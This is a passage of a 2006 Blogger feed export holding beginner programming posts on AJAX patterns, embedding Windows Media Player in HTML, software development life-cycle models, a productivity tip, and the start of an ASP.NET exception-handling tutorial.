href="http://technorati.com/tag/web+application"&gt;web application&lt;/a&gt;, &lt;a href="http://technorati.com/tag/xmlhttprequest"&gt;xmlhttprequest&lt;/a&gt;, &lt;a href="http://technorati.com/tag/server"&gt;server&lt;/a&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9561783-115865883012905722?l=eshwar123.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://eshwar123.blogspot.com/feeds/115865883012905722/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9561783&amp;postID=115865883012905722' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9561783/posts/default/115865883012905722'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9561783/posts/default/115865883012905722'/><link rel='alternate' type='text/html' href='http://eshwar123.blogspot.com/2006/09/automatically-generate-html-and.html' title='Automatically generate HTML and javascript from server side code'/><author><name>eshwar</name><uri>http://www.blogger.com/profile/00372561741462677869</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9561783.post-115865861222925744</id><published>2006-09-19T15:06:00.000+05:30</published><updated>2006-09-19T15:06:52.236+05:30</updated><title type='text'>Need for AJAX Patterns</title><content type='html'>&lt;p align="left"&gt;&lt;/p&gt; &lt;p align="left"&gt;&lt;a href="http://www.adaptivepath.com/publications/essays/archives/000385.php"&gt;Ajax&lt;/a&gt; holds a lot of promise for web usability, and the underlying technology has already delivered some &lt;a href="http://maps.google.com/"&gt;stunning&lt;/a&gt; &lt;a href="http://www.francisshanahan.com/zuggest.aspx"&gt;applications&lt;/a&gt;. But it's no magic bullet. Careful design is always required, and it target the technology at hand. As Ajax emerges, we're going to learn more about what sort of design works, and we'll need ways of documenting this information and talking about it. Fortunately, the evolution of this particular technology will take place at a time when design patterns are well-entrenched in the industry, and design patterns are an excellent means of knowledge representation. Thus, it makes sense to begin cataloguing Ajax design patterns. These are some thoughts based on current examples and demo systems.  &lt;p align="left"&gt;Patterns being patterns, nothing in here is truly new. Patterns are just a concise way to represent the knowledge embodied in the many Ajax applications that are out there. The point is to discover best practices by investigating how developers have successfully traded off conflicting design principles. Ajax is all about usability, so the patterns focus particularly on delivering usability in the face of constraints, most notably: user capabilities and expectations, bandwidth limits, the stateless nature of HTTP, the complexity of Javascript.  &lt;p align="left"&gt;There should eventually be more patterns, more examples, more detailed explanations. And one more disclaimer: Ajax is a new term, but XMLHttpRequest and related technologies have been around for a while. I know that, but the introduction of a single umbrella term nevertheless constitutes a tipping point which is forcing web development to move heavily in a certain direction. Ajax is only a name, but names can be tremendously important.  &lt;p align="left"&gt;&lt;a href="http://ajaxpatterns.org/Why_Ajax_Patterns" rel="ajax, ajax patterns"&gt;Get more information&lt;/a&gt; &lt;p align="left"&gt;Tags: &lt;a href="http://technorati.com/tag/ajax"&gt;ajax&lt;/a&gt;, &lt;a href="http://technorati.com/tag/ajax+patterns"&gt;ajax patterns&lt;/a&gt;, &lt;a href="http://technorati.com/tag/design"&gt;design&lt;/a&gt;, &lt;a href="http://technorati.com/tag/http"&gt;http&lt;/a&gt;, &lt;a href="http://technorati.com/tag/javascript"&gt;javascript&lt;/a&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9561783-115865861222925744?l=eshwar123.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://eshwar123.blogspot.com/feeds/115865861222925744/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9561783&amp;postID=115865861222925744' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9561783/posts/default/115865861222925744'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9561783/posts/default/115865861222925744'/><link rel='alternate' type='text/html' href='http://eshwar123.blogspot.com/2006/09/need-for-ajax-patterns.html' title='Need for AJAX Patterns'/><author><name>eshwar</name><uri>http://www.blogger.com/profile/00372561741462677869</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9561783.post-115864961098090971</id><published>2006-09-19T12:36:00.000+05:30</published><updated>2006-09-19T12:36:50.986+05:30</updated><title type='text'>Add Windows media player to a HTML page</title><content type='html'>&lt;p align="left"&gt;This piece of HTML code adds a Windows media player into the HTML page. The versions of 7,9 and 10 of windows media player will work without any problem. The following code has some parameters. &lt;/p&gt; &lt;p align="left"&gt;Useful Parameters:&lt;br&gt;autoStart=true;&lt;br&gt;baseURL (Specifies the base URL used for relative path resolution with URL script commands that are embedded in media items.)&lt;br&gt;currentPosition (default=0; Specifies the current position in the media item in seconds.)&lt;br&gt;enabled=false (Specifies whether the Windows Media Player control is enabled.)&lt;br&gt;URL (Specifies the name of the media item to play.)&lt;br&gt;uiMode (Specifies which controls are shown in the user interface. Possible values: invisible, none, mini, full.)&lt;/p&gt; &lt;div align="left"&gt;&lt;pre&gt;&lt;font color="#ff8000"&gt;&amp;lt;object id="VIDEO" width="320" height="240" &lt;br /&gt;    style="position:absolute; left:0;top:0;"&lt;br /&gt;    classid="CLSID:6BF52A52-394A-11d3-B153-00C04F79FAA6"&lt;br /&gt;    type="application/x-oleobject"&amp;gt;&lt;br /&gt;    &lt;br /&gt;    &amp;lt;param name="URL" value="your file or url"/&amp;gt;&lt;br /&gt;    &amp;lt;param name="SendPlayStateChangeEvents" value="False"/&amp;gt;&lt;br /&gt;    &amp;lt;param name="AutoStart" value="True"/&amp;gt;&lt;br /&gt;    &amp;lt;param name="uiMode" value="none"/&amp;gt;&lt;br /&gt;    &amp;lt;param name="PlayCount" value="9999"/&amp;gt;&lt;br /&gt;    &amp;lt;param name="Volume" value="9999"/&amp;gt;&lt;br /&gt;&amp;lt;/object&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;object id="VIDEO" width="320" height="240" &lt;br /&gt;    style="position:absolute; left:0;top:0;"&lt;br /&gt;    classid="CLSID:22D6F312-B0F6-11D0-94AB-0080C74C7E95"&lt;br /&gt;    type="application/x-oleobject"&amp;gt;&lt;br /&gt;    &lt;br /&gt;    &amp;lt;param name="URL" value="your file or url"/&amp;gt;&lt;br /&gt;    &amp;lt;param name="SendPlayStateChangeEvents" value="False"/&amp;gt;&lt;br /&gt;    &amp;lt;param name="AutoStart" value="True"/&amp;gt;&lt;br /&gt;    &amp;lt;param name="uiMode" value="none"/&amp;gt;&lt;br /&gt;    &amp;lt;param name="PlayCount" value="9999"/&amp;gt;&lt;br /&gt;    &amp;lt;param name="Volume" value="9999"/&amp;gt;&lt;br /&gt;&amp;lt;/object&amp;gt;&lt;/font&gt;&lt;/pre&gt;&lt;pre&gt;&lt;a href="http://www.codekeep.net/snippets/d7a65819-7b40-4873-9786-8b425876d89c.aspx" target="_blank"&gt;Get more information&lt;/a&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9561783-115864961098090971?l=eshwar123.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://eshwar123.blogspot.com/feeds/115864961098090971/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9561783&amp;postID=115864961098090971' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9561783/posts/default/115864961098090971'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9561783/posts/default/115864961098090971'/><link rel='alternate' type='text/html' href='http://eshwar123.blogspot.com/2006/09/add-windows-media-player-to-html-page.html' title='Add Windows media player to a HTML page'/><author><name>eshwar</name><uri>http://www.blogger.com/profile/00372561741462677869</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9561783.post-115864931402729881</id><published>2006-09-19T12:31:00.000+05:30</published><updated>2006-09-19T12:31:54.040+05:30</updated><title type='text'>Different Software development process models</title><content type='html'>&lt;p align="left"&gt;Software engineering follows some structured models for software development. A Software Model describes the phases of the Software Life Cycle and the order in which those phases are executed. &amp;nbsp;The following sections discuss the following important process models:&lt;/p&gt; &lt;p align="left"&gt;· Waterfall Model  &lt;p align="left"&gt;· Iterative Model  &lt;p align="left"&gt;· Incremental Model  &lt;p align="left"&gt;· Spiral Model  &lt;p align="left"&gt;&lt;strong&gt;Waterfall Model&lt;/strong&gt;  &lt;p align="left"&gt;This is the most common, easy to implement and classic of all the life cycle models. It also is referred to as a Classic Life Cycle Model or linear-sequential life cycle model. This model places a lot of emphasis on documentation, i.e. Requirements Specification and Design Document. In a waterfall model each phase must be completed sequentially in its entirety before the immediate next phase can begin. A review is done after each phase to analyze whether the project is running as per the required standards, specifications and timelines.  &lt;p align="left"&gt;The output of each phase is the input to the immediate next phase in this model. This model is well suited if the project requirements are static or have been clearly stated from the beginning. The Waterfall Model is great for specifying the individual tasks, roles, and deliverables in the project life cycle. It is a misleading model when used for project planning because it de-emphasizes iteration and incremental delivery. &lt;h4 align="left"&gt;&lt;strong&gt;Advantages of the Waterfall Model&lt;/strong&gt;&lt;/h4&gt; &lt;p align="left"&gt;The following are the &lt;em&gt;&lt;strong&gt;advantages&lt;/strong&gt; &lt;/em&gt;of the Waterfall Model. &lt;p align="left"&gt;· It is very simple and easy to implement meaning it is well suited for small projects. &lt;p align="left"&gt;· Testing is inherent to each of the phases of this model. &lt;p align="left"&gt;· The model is rigid and each of the phases has certain deliverables and a review process immediately after a particular phase is over. &lt;p align="left"&gt;&lt;strong&gt;&lt;em&gt;Disadvantages&lt;/em&gt;&lt;/strong&gt; &lt;p align="left"&gt;The following are the disadvantages of the Waterfall Model. &lt;p align="left"&gt;· It is high risk. &lt;p align="left"&gt;· It cannot be guaranteed that one phase of this model is perfect before we move on to the immediate next phase in the model. &lt;p align="left"&gt;· It is not suited for long or complex projects or projects where the requirements can change. &lt;p align="left"&gt;· The deliverable software is produced late during the life cycle. &lt;p align="left"&gt;&lt;strong&gt;Iterative Model&lt;/strong&gt; &lt;p align="left"&gt;The Iterative Model addresses many problems associated with the Waterfall Model.&amp;nbsp; In the Iterative Model analysis is done the same way as it is done in the Waterfall method. &amp;nbsp;Once this analysis is over, each requirement is categorized based on their priority.&amp;nbsp; These priorities are: &lt;p align="left"&gt;· High &lt;p align="left"&gt;· Low &lt;p align="left"&gt;· Medium &lt;p align="left"&gt;&lt;strong&gt;&lt;em&gt;Advantages&lt;/em&gt;&lt;/strong&gt; &lt;p align="left"&gt;The advantages of the Iterative Model are: &lt;p align="left"&gt;· Faster Coding, testing and Design Phases &lt;p align="left"&gt;· Facilitates the support for changes within the life cycle  &lt;p align="left"&gt;&lt;strong&gt;&lt;em&gt;Disadvantages&lt;/em&gt;&lt;/strong&gt; &lt;p align="left"&gt;The disadvantages of the Iterative Model are: &lt;p align="left"&gt;· More time spent in review and analysis &lt;p align="left"&gt;· A lot of steps that need to be followed in this model &lt;p align="left"&gt;· Delay in one phase can have detrimental effect on the software as a whole &lt;p align="left"&gt;&lt;strong&gt;Incremental Model&lt;/strong&gt; &lt;p align="left"&gt;The incremental model divides the software to be developed into modules which are then developed and tested in parallel.&amp;nbsp; These modules or cycles are divided up into smaller, easily managed iterations.&amp;nbsp; Each iteration passes through the requirements, design, implementation and testing phases.&amp;nbsp; The Incremental model allows full SDLC of prototypes to be made and then tested before moving to next level. &amp;nbsp;In this model the functionality is produced and delivered to the customer incrementally. &amp;nbsp;Starting from the existing situation, we proceed towards the desired solution in a number of steps. &amp;nbsp;At each of these steps the Waterfall Model is followed. &lt;p align="left"&gt;&lt;strong&gt;&lt;em&gt;Advantages&lt;/em&gt;&lt;/strong&gt; &lt;p align="left"&gt;The following are the advantages of the Incremental Model. &lt;p align="left"&gt;· Deliverables are produced early in the software development lifecycle in each iteration. &lt;p align="left"&gt;· It is flexible and easy to manage &lt;p align="left"&gt;· Risk Management and Testing is easy &lt;p align="left"&gt;&lt;strong&gt;&lt;em&gt;Disadvantages&lt;/em&gt;&lt;/strong&gt; &lt;p align="left"&gt;The following are the disadvantages of the Iterative Model. &lt;p align="left"&gt;· Each phase of iteration is rigid and does not overlap each other. &lt;p align="left"&gt;· All the requirements are not gathered up front for the entire software life cycle which can create problems at the later stages in the design and development cycle. &lt;p align="left"&gt;&lt;strong&gt;Spiral Model&lt;/strong&gt; &lt;p align="left"&gt;The Spiral Model or the Spiral Development Model combines the best of both top down and bottom up approaches and is specifically risk-driven. &amp;nbsp;It combines the features of both the prototyping and the waterfall models. &amp;nbsp;In essence the Spiral Model is a combination of the classic Waterfall Model and Risk Analysis. &amp;nbsp;It is iterative, but each iteration is designed to reduce the risk at that particular stage of the project. &amp;nbsp;The Spiral Model provides a rapid development and at the same time, incremental versions of the software application. &amp;nbsp;The Spiral model is better than the Waterfall Model in the sense that it emphasizes more on risk management while the Waterfall Model emphasizes more on the project management aspects. &lt;p align="left"&gt;The spiral model has four phases. &amp;nbsp;These phases are as follows:  &lt;p align="left"&gt;· Planning &lt;p align="left"&gt;· Risk Analysis &lt;p align="left"&gt;· Engineering &lt;p align="left"&gt;· Evaluation &lt;p align="left"&gt;&lt;strong&gt;&lt;em&gt;Advantages&lt;/em&gt;&lt;/strong&gt; &lt;p align="left"&gt;The following are the advantages of the Spiral Model. &lt;p align="left"&gt;· It has strong support for Risk Analysis. &lt;p align="left"&gt;· It is well suited for complex and large projects. &lt;p align="left"&gt;· The deliverable is produced early in the software development life cycle. &lt;p align="left"&gt;· It uses prototyping as a risk reduction technique and can reduce risks in the SDLC process considerably. &lt;p align="left"&gt;&lt;strong&gt;&lt;em&gt;Disadvantages&lt;/em&gt;&lt;/strong&gt; &lt;p align="left"&gt;The following are the disadvantages of the Spiral Model. &lt;p align="left"&gt;· It is high in cost and Risk Analysis is also very difficult. &lt;p align="left"&gt;· It is not suited for small projects. &lt;p align="left"&gt;· Needs considerable Risk Assessment. &lt;p align="left"&gt;&lt;a&gt;&lt;strong&gt;Which Model to&lt;/strong&gt;&lt;/a&gt;&lt;strong&gt; choose?&lt;/strong&gt; &lt;p align="left"&gt;The question that now arises is, "Which model should I choose?" &amp;nbsp;Note that we should choose the right type of the Model to implement based on the scope of the software project. &amp;nbsp;This depends on a number of factors, some of which are given below. &lt;p align="left"&gt;· The Scope of the Project  &lt;p align="left"&gt;· The Project Budget &lt;p align="left"&gt;· The organizational environment &lt;p align="left"&gt;· Available Resources &lt;p align="left"&gt;&lt;a href="http://aspalliance.com/1017_Software_Development_Life_Cycle" target="_blank"&gt;Get more information&lt;/a&gt; &lt;p align="left"&gt;Tags: &lt;a href="http://technorati.com/tag/sdlc+models"&gt;sdlc models&lt;/a&gt;, &lt;a href="http://technorati.com/tag/process+models"&gt;process models&lt;/a&gt;, &lt;a href="http://technorati.com/tag/waterfall"&gt;waterfall&lt;/a&gt;, &lt;a href="http://technorati.com/tag/iterative"&gt;iterative&lt;/a&gt;, &lt;a href="http://technorati.com/tag/incremental"&gt;incremental&lt;/a&gt;, &lt;a href="http://technorati.com/tag/spiral"&gt;spiral&lt;/a&gt;, &lt;a href="http://technorati.com/tag/life+cycle"&gt;life cycle&lt;/a&gt;, &lt;a href="http://technorati.com/tag/software+engineering"&gt;software engineering&lt;/a&gt;, &lt;a href="http://technorati.com/tag/software+model"&gt;software model&lt;/a&gt;, &lt;a href="http://technorati.com/tag/phases"&gt;phases&lt;/a&gt;, &lt;a href="http://technorati.com/tag/advantages"&gt;advantages&lt;/a&gt;, &lt;a href="http://technorati.com/tag/disadvantages"&gt;disadvantages&lt;/a&gt;, &lt;a href="http://technorati.com/tag/review+model"&gt;review model&lt;/a&gt;, &lt;a href="http://technorati.com/tag/priorities"&gt;priorities&lt;/a&gt;, &lt;a href="http://technorati.com/tag/deliverables"&gt;deliverables&lt;/a&gt;, &lt;a href="http://technorati.com/tag/testing"&gt;testing&lt;/a&gt;, &lt;a href="http://technorati.com/tag/design"&gt;design&lt;/a&gt;, &lt;a href="http://technorati.com/tag/implemenation"&gt;implemenation&lt;/a&gt;, &lt;a href="http://technorati.com/tag/documentation"&gt;documentation&lt;/a&gt; &lt;p align="left"&gt;&amp;nbsp;  &lt;p align="left"&gt;&amp;nbsp;  &lt;p align="left"&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9561783-115864931402729881?l=eshwar123.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://eshwar123.blogspot.com/feeds/115864931402729881/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9561783&amp;postID=115864931402729881' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9561783/posts/default/115864931402729881'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9561783/posts/default/115864931402729881'/><link rel='alternate' type='text/html' href='http://eshwar123.blogspot.com/2006/09/different-software-development-process.html' title='Different Software development process models'/><author><name>eshwar</name><uri>http://www.blogger.com/profile/00372561741462677869</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9561783.post-115864887540537526</id><published>2006-09-19T12:24:00.000+05:30</published><updated>2006-09-19T12:24:35.526+05:30</updated><title type='text'>Steps in Software Development Life Cycle SDLC</title><content type='html'>&lt;p align="left"&gt;Software Development Life Cycle (SDLC) is a methodology that is typically used to develop, maintain and replace information systems for improving the quality of the software design and development process. &amp;nbsp;The typical phases are analysis, estimation, design, development, integration and testing and implementation. &amp;nbsp;The success of software largely depends on proper analysis, estimation, design and testing before the same is implemented.&lt;/p&gt; &lt;h4 align="left"&gt;&lt;strong&gt;Steps in SDLC&lt;/strong&gt;&lt;/h4&gt; &lt;p align="left"&gt;The Software Development Life Cycle is the cycle in which the business analysts, the software developers, the database designers and/or the database developers, the QA developers and end users collaborate to build the application software. &amp;nbsp;Basically, it involves designing the application from scratch, documenting everything, adding the improvements and fixing the bugs that occur in the SDLC. &amp;nbsp;It is the lifecycle of Software from concept to obsolescence.  &lt;p align="left"&gt;A quality software system is based on the following three principles:  &lt;p align="left"&gt;· Modeling of the software development process (process)  &lt;p align="left"&gt;· Modeling of the measurement of product (product)  &lt;p align="left"&gt;· Modeling of the management and human interactions (people)  &lt;p align="left"&gt;The software development life cycle (SDLC) may be divided into the following steps:  &lt;p align="left"&gt;1. Requests from customers/original idea  &lt;p align="left"&gt;2. Creation of feature lists based on item 1  &lt;p align="left"&gt;3. Technical design of features based on item 2  &lt;p align="left"&gt;4. Software design and time evaluation based on item 3  &lt;p align="left"&gt;5. Code implementation based on item 4  &lt;p align="left"&gt;6. Software Testing  &lt;p align="left"&gt;7. Beta release/ bug fixes  &lt;p align="left"&gt;8. Final release  &lt;h4 align="left"&gt;&lt;strong&gt;SDLC Categories&lt;/strong&gt;&lt;/h4&gt; &lt;p align="left"&gt;Broadly, the SDLC steps discussed earlier can be categorized into:  &lt;p align="left"&gt;· Requirement Specification  &lt;p align="left"&gt;· Requirement Analysis and Design  &lt;p align="left"&gt;· Coding and Testing  &lt;p align="left"&gt;· Deployment and Support  &lt;p align="left"&gt;The following sections discuss these in more detail.  &lt;p align="left"&gt;&lt;strong&gt;Requirement Specification&lt;/strong&gt;  &lt;p align="left"&gt;Software Requirements Specification (SRS) provides a complete description of all the functions and specifications of the software to be designed. &amp;nbsp;It extracts the functional and the nonfunctional requirements of the desired software product. &amp;nbsp;It is the initial stage in the SDLC, the first and the foremost step that has to be performed and includes the information about the requirements for the proposed system. &amp;nbsp;The requirements are pertained to such as resources, scope of the system, purpose of the system and the limitations. &amp;nbsp;This phase is also known as the feasibility study phase.  &lt;p align="left"&gt;&lt;strong&gt;Requirement Analysis and Design&lt;/strong&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &lt;p align="left"&gt;After the requirements specification is over, it is analyzed for its accuracy and sufficiency.&amp;nbsp; Issues such as whether that particular proposed system will serve the purpose or not, what are the necessary constraints that have to be taken into consideration and the monitoring the management of the activities in a fashion are all carried out in a hierarchical manner which is specified in the BRS (Business Requirement Specification) document.  &lt;p align="left"&gt;&lt;strong&gt;Coding and Testing&lt;/strong&gt;  &lt;p align="left"&gt;The next step consists of developing the application logic and writing the functionalities for the user interfaces on a specific action performed (known as Coding). &amp;nbsp;The coding or the development phase takes as its primary input the design elements described in the approved design document. It is to be noted that the Programmers/Developers should adhere to the required coding standards. &amp;nbsp;The code should also be optimized for the purpose of saving the valuable resources. Next in the SDLC cycle comes the testing phase.  &lt;p align="left"&gt;&lt;strong&gt;Deployment and Support&lt;/strong&gt;  &lt;p align="left"&gt;The software that has been developed and deployed should provide adequate support for maintenance so as to cope with the bugs that can exists even after deployment of the software is over. &amp;nbsp;This can take far more time than the initial development process of the software.  &lt;p align="left"&gt;&lt;a href="http://aspalliance.com/1017_Software_Development_Life_Cycle" target="_blank" rel="sdlc, process, model, life cycle"&gt;Get more information&lt;/a&gt;  &lt;p align="left"&gt;Tags: &lt;a href="http://technorati.com/tag/sdlc"&gt;sdlc&lt;/a&gt;, &lt;a href="http://technorati.com/tag/process+models"&gt;process models&lt;/a&gt;, &lt;a href="http://technorati.com/tag/development+process"&gt;development process&lt;/a&gt;, &lt;a href="http://technorati.com/tag/analysis"&gt;analysis&lt;/a&gt;, &lt;a href="http://technorati.com/tag/estimation"&gt;estimation&lt;/a&gt;, &lt;a href="http://technorati.com/tag/design"&gt;design&lt;/a&gt;, &lt;a href="http://technorati.com/tag/development"&gt;development&lt;/a&gt;, &lt;a href="http://technorati.com/tag/integration"&gt;integration&lt;/a&gt;, &lt;a href="http://technorati.com/tag/testing"&gt;testing&lt;/a&gt;, &lt;a href="http://technorati.com/tag/implemenation"&gt;implemenation&lt;/a&gt;, &lt;a href="http://technorati.com/tag/life+cycle"&gt;life cycle&lt;/a&gt;, &lt;a href="http://technorati.com/tag/quality+software"&gt;quality software&lt;/a&gt;, &lt;a href="http://technorati.com/tag/request"&gt;request&lt;/a&gt;  &lt;p align="left"&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9561783-115864887540537526?l=eshwar123.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://eshwar123.blogspot.com/feeds/115864887540537526/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9561783&amp;postID=115864887540537526' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9561783/posts/default/115864887540537526'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9561783/posts/default/115864887540537526'/><link rel='alternate' type='text/html' href='http://eshwar123.blogspot.com/2006/09/steps-in-software-development-life.html' title='Steps in Software Development Life Cycle SDLC'/><author><name>eshwar</name><uri>http://www.blogger.com/profile/00372561741462677869</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9561783.post-115857170314565379</id><published>2006-09-18T14:58:00.000+05:30</published><updated>2006-09-18T14:58:23.263+05:30</updated><title type='text'>Simple tip to become successful</title><content type='html'>&lt;p align="left"&gt;Is there magic in the number 48? Does this number hold any significance in your future success? Speaker &lt;a href="http://www.101publicrelations.com/blog/"&gt;Don Crowther&lt;/a&gt; suggests that there is. In his presentation at the &lt;a href="http://successbeginstoday.org/wordpress/2006/09/nsa-summer-symposium/"&gt;NSA Summer Symposium&lt;/a&gt;, Don told the audience that 48 minutes is the magic number. Here’s how it works… Set a timer for 48 minutes. Close out all distractions and work continuously for 48 minutes. When the timer goes off, get up and stretch, get coffee, use the restroom etc, in the following 12 minutes. Repeat as necessary. &lt;p align="left"&gt;Don reports that this technique repeated four times a day allowed him to write a 200 page book in just two weeks. The ability to focus on one task for 48 minutes straight was the key. I have been testing Don’s idea and I have to say it works well for me. This eliminates the distractions that have a way of derailing even the best laid plans. Taking a short 12 minute break once an hour is refreshing but not enough to get you off track. &lt;p align="left"&gt;So the question comes up, If this solution works well how can I use it in planning out my daily schedule and applying it to future goals. Can I successfully write a blog post in 48 minutes? Can I write a book chapter in that time? As I’ve tried the process, it has been a challenge to sit in one place that long. But when I do my productivity soars. I find it best to just keep writing, not worry about mistakes, and get everything on paper. Once I have the points on paper I can go back and make my edits and corrections. &lt;p align="left"&gt;My usual morning schedule has about 2 hours of productive time available. I’ve tested the idea of blogging for an hour and then working on a book for the second hour. So far this has worked well with standard length blog posts and has yielded a book outline.Check out &lt;a href="http://successbeginstoday.org/wordpress/2006/09/the-power-of-48-minutes/" target="_blank"&gt;this article&lt;/a&gt; for further information &lt;p align="left"&gt;Tags: &lt;a href="http://technorati.com/tag/magic+number"&gt;magic number&lt;/a&gt;, &lt;a href="http://technorati.com/tag/simple+tip"&gt;simple tip&lt;/a&gt;, &lt;a href="http://technorati.com/tag/successful"&gt;successful&lt;/a&gt;, &lt;a href="http://technorati.com/tag/future"&gt;future&lt;/a&gt;, &lt;a href="http://technorati.com/tag/distractions"&gt;distractions&lt;/a&gt;, &lt;a href="http://technorati.com/tag/be+productive"&gt;be productive&lt;/a&gt;, &lt;a href="http://technorati.com/tag/office"&gt;office&lt;/a&gt;, &lt;a href="http://technorati.com/tag/get+energized"&gt;get energized&lt;/a&gt; &lt;p align="left"&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9561783-115857170314565379?l=eshwar123.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://eshwar123.blogspot.com/feeds/115857170314565379/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9561783&amp;postID=115857170314565379' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9561783/posts/default/115857170314565379'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9561783/posts/default/115857170314565379'/><link rel='alternate' type='text/html' href='http://eshwar123.blogspot.com/2006/09/simple-tip-to-become-successful.html' title='Simple tip to become successful'/><author><name>eshwar</name><uri>http://www.blogger.com/profile/00372561741462677869</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9561783.post-115855900650328889</id><published>2006-09-18T11:26:00.000+05:30</published><updated>2006-09-18T16:10:09.240+05:30</updated><title type='text'>Handling Exceptions and errors in ASP.NET</title><content type='html'>&lt;p align="left"&gt;Exceptions or errors are unusual occurrences that happen within the logic of an application. You cannot program for every possibility; hence, they are imminent. If an exception occurs within an application, the user is presented with a yellow page that looks ugly. So, how do you deal with these situations? You use exception handling techniques in ASP.NET.&lt;/p&gt; &lt;p align="left"&gt;There are three ways to handle exceptions/errors in ASP.NET:  &lt;ol&gt; &lt;li&gt; &lt;div align="left"&gt;try-catch block. This is also called Structured Exception Handling (SEH).&lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;Error Events.&lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;Custom Error Page.&lt;/div&gt;&lt;/li&gt;&lt;/ol&gt; &lt;p align="left"&gt;You will look at each one of them in detail in the next sections.  &lt;h4 align="left"&gt;try-catch Block&lt;/h4&gt; &lt;p align="left"&gt;Enclose code that accesses files, databases, and so forth inside a &lt;tt&gt;try&lt;/tt&gt;-&lt;tt&gt;catch&lt;/tt&gt; block because access to those resources might be denied due to various reasons causing an exception. The third part of this block is &lt;tt&gt;finally&lt;/tt&gt;. It is executed irrespective of the fact that an exception has been raised. Hence, use the &lt;tt&gt;finally&lt;/tt&gt; block to complete the housekeeping jobs.  &lt;p align="left"&gt;As a good programming practice, always catch specific exceptions. To view the exception types supported by the .NET Framework, use the &lt;b&gt;Debug&lt;/b&gt; menu and select &lt;b&gt;Exceptions&lt;/b&gt; in Visual Studio.NET.  &lt;p align="left"&gt;In the following code, you try to access a table that does not exist in the Northwind database; therefore, an exception is raised. By using the try catch and finally block, you handle the exception and display a message.  &lt;div align="left"&gt;&lt;pre&gt;&lt;font color="#ff8000"&gt;try&lt;/font&gt;&lt;br /&gt;&lt;font color="#ff8000"&gt;{&lt;br /&gt;   con = new SqlConnection("integrated security=SSPI;&lt;br /&gt;      data source= (local);persist security info=False;&lt;br /&gt;      initial catalog=Northwind");&lt;br /&gt;   da = new SqlDataAdapter("Select * from TblNotExisits", con);&lt;br /&gt;   ds = new DataSet();&lt;br /&gt;   da.Fill(ds);&lt;br /&gt;}&lt;br /&gt;catch(SqlException ex)&lt;br /&gt;{&lt;br /&gt;   return "Connection Unsuccessful " + ex.Message;&lt;br 